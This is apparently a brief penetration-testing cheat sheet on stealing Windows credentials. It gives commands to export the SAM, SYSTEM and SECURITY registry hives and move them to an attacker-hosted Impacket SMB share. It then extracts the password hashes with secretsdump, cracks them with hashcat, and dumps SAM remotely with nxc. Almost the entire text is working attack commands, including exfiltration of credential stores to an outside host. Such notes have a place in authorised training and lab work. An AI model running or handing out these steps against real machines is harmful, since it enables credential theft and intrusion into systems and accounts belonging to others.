copy-sam-database

Copy SAM database

reg save hklm\sam C:\temp\SAM.save

reg save hklm\system C:\temp\SYSTEM.save

reg save hklm\security C:\temp\SECURITY.save

Transferring hashes to kali

Creating SMB share

sudo python3 impacket-smbserver -smb2support hacker /home/bob/Documents

Moving hashes to share

move sam.save \\10.10.15.16\CompData

move security.save \\10.10.15.16\CompData

move system.save \\10.10.15.16\CompData

Dump hashes (extract SAM hashes)

impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

Cracking hash with Hashcat

hashcat -m 1000 hashes.txt /user/share/wordlists/rockyou.txt

---

Remotely dumping SAM database

nxc smb 10.129.42.198 --local-auth -u bob -p password --sam